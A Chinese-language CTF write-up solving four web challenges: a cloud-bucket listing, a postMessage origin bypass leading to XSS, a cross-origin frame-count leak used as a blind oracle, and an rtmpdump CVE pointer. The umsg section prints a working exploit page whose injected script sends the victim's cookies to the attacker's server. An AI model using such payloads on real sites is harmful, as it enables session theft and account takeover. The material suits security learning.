web
这web题除了最后一个rtmpdump是个0day,其他的都是前端的问题,noxss200比较有意思。
一、cosplay
step1
首先获取Bucket里的文件列表:
console输入:
(function(){
cos.getBucket({
Bucket: Bucket,
Region: Region,
Key: '/',
Body: "hack",
}, function (err, data) {
console.log(err, data);
});
})()
响应搜索flag:
<Contents>
<Key>f1L9@/flag.txt</Key>
<LastModified>2020-07-11T03:55:09.000Z</LastModified>
<ETag>"927f326635999fd9f11565b2a6275daf"</ETag>
<Size>42</Size>
<Owner>
<ID>1253882285</ID>
<DisplayName>1253882285</DisplayName>
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag</Key>
<LastModified>2020-07-11T04:40:54.000Z</LastModified>
<ETag>"d8e8fca2dc0f896fd7cb4cb0031ba249"</ETag>
<Size>5</Size>
<Owner>
<ID>1253882285</ID>
<DisplayName>1253882285</DisplayName>
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
step2
然后利用getObject去下载这两个文件即可,把返回的刚刚返回的
console输入:
(function(){
cos.getObject({
Bucket: Bucket,
Region: Region,
Key: 'f1L9@/flag.txt',
Body: "hack",
}, function (err, data) {
console.log(err, data);
});
})()
请求后返回flag。
参考:
https://cloud.tencent.com/document/product/436/7753
二、umsg
给了两个url:
http://umsg.iffi.top:3000/和http://umsg-bot.iffi.top:2333/
根据第二个网页页面所给的提示可知flag在umsg.iffi.top
这个域的cookie中。这个网页也可以提交参数,然后后端会使用selenium进行一次http请求并进行渲染,因此这里考虑使用xss来打cookie。
看第一个网页的源码可以发现这里有三个事件监听:
window.addEventListener("message", (function(e) {
if (e.origin.match("http://umsg.iffi.top"))
switch (e.data.action) {
case "append":
return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
case "debug":
return void console.log(e.data.payload);//
case "ping":
return void e.source.postMessage("pong", "*")
}
}
), !1)
在append
条件中,js会把收到的数据拼接到html中,经测试可以造成xss。但是由于前面还有个e.origin.match("http://umsg.iffi.top")
的判断,也就是限定发来数据的那个window的host必须以这个字符串开头,这点我们可以通过注册umsg.iffi.top.your.domain.com
域名来绕过。
现在的大概思路是在自己的web服务器上放一个html,其中有个iframe标签指向第一个url,也就是http://umsg.iffi.top:3000/
,然后利用js的postMessage()
方法传输数据给iframe,使之造成xss,然后把cookie打到自己的服务器上即可。
这里还有个限制就是由于http://umsg.iffi.top:3000/有CSP策略:default-src 'self' 'unsafe-inline';
,禁止外链非同源js。虽然无法操纵js,但是还是可以利用window.location来把cookie带出来。
web服务器上的html的访问路径为http://umsg.iffi.top.xxx.com/c.html
,内容如下:
hello
<iframe id="kkk" src="http://umsg.iffi.top:3000/" style="1500px;height:1500px;"></iframe>
<script>
let myframe = document.getElementById('kkk');
setTimeout(function(){myframe.contentWindow.postMessage({action:"append",payload:"<img src='x' onerror=window.location='http://xxx.com:8899?c='+document.cookie></img>"},"*")},3000);
</script>
同时在vps上监听8899端口。
把上面html的url输入到http://umsg-bot.iffi.top:2333/中,然后vps的8899端口即可收到flag。
坑点总结
1.外带cookie绕过CSP:利用window.location
2.event.origin绕过:利用注册域名
3.打跨域cookie:利用页面xss
三、noxss200
剩下几题都是没做出来的了。这里简单的说一下思路,首先题目的源码给了两个链接:
https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view
,还有程序的源码。
这是往年的一个题目叫noxss,利用css解析器的漏洞把页面json数据解析成css style返回出来。
本题跟umsg一样也是两个页面,一个是部署flag的机器,可能存在xss,一个是提交payload的机器,这台服务器利用selenium把payload放到a.href中,然后去发送请求。selenium构造这个a标签的语句是:
driver.get('www.example.com')
driver.execute_script(f"let a=document.createElement('a');a.id='clickme';a.text='clickme';a.target='_blank';a.href=atob('{b64encode(payload).decode('utf-8')}');document.body.appendChild(a)")
driver.find_element_by_xpath('//*[@id="clickme"]').click()
这里python会先用b64encode把payload进行base64编码,然后在前端时利用atob进行解码。这里的"会自动被转义掉,因此逃不出href属性造成xss。使用javascript:alert(1)可以执行,但是payload好像有个正则匹配,仅允许http://或https://开头,so。。不知道如何绕过了。
大哥的wp
我还是太年轻了。这题跟xss没有任何关系,真的就tm是noxss呗。
Cross Origin Opener Policy(COOP)策略
这题用到了个Cross Origin Opener Policy(COOP)头,跨域opener策略。
看一个简单的例子。
good.com/a.html
<html>
xxx
<iframe xxx>
xxx
假设黑客的服务器是evil.com。黑客诱导用户访问evil.com,然后在evil.com有个js脚本,用来打开一个good.com的新窗口。如下
<script>win = window.open('http://good.com/a.html');</script>
由于同源策略,evil.com仅可以获得good.com的window对象,并不能获取到good.com页面上的任何个人敏感信息。
这么看来这两个站似乎是完全隔离的。
但是window对象其中有个属性,window.frames,可以通过访问window.frames.length来获取good.com/a.html中的iframe标签的数量,没有则为0。
这一点其实就是突破了good.com和evil.com直接的界限,虽然看起来比较鸡肋,但是还是有一些攻击面的。
为了防止通过windows.frames来获取跨域window的信息,good.com可以通过返回Cross-Origin-Opener-Policy: same-origin
来限制。此时evil.com如果要获取win.frames.length则会抛出一个异常:
Uncaught TypeError: Cannot read property 'length' of null
参考:
Restricting cross-origin WindowProxy access (Cross-Origin-Opener-Policy) #3740
一些可能导致跨域信息泄漏的DOM API
解题
这题需要获取flag,通过输入?search=f
,然后server后台会查找flag中是否包含f这个字符,如果存在则返回flag(这题由于需要使用主办方的代理,因此没法直接看到返回的内容),如果不存在则返回错误,其中包含一个iframe标签。
结合上面的知识点,这里就知道什么原理了。
利用一个类似于盲注的方法,一个字符一个字符的测试,如果正确,那么win.frames.length==0,如果不正确,那么win.frames.length==1。
四、rtmpdump
这是一个rtmp的工具,可以处理一些流式数据。题目给的源码是2.3,最新版是2.4。实际上2.3已经是2011年那会的了。看了他们官网的git,发现几个15年提交的漏洞,有个可以rce。
http://git.ffmpeg.org/gitweb/rtmpdump.git/shortlog
CVE-2015-8217
The AMF3CD_AddProp function in amf.c in RTMPDump 2.4 allows remote RTMP Media servers to execute arbitrary code.
https://security-tracker.debian.org/tracker/CVE-2015-8271
关键文件diff见:
http://git.ffmpeg.org/gitweb/rtmpdump.git/commitdiff/530f9bb2a02a78c1198fb2bf0293a12d225e4691
根据详情可知主要是AMF3CD_AddProp
的问题。
exp:
https://talosintelligence.com/vulnerability_reports/TALOS-2016-0067/
上面的exp中看到好像是利用内存指针的控制来造成rce的,感觉像是pwn,然后就没有深入了。
大哥的wp
没有提供,似乎真是0day。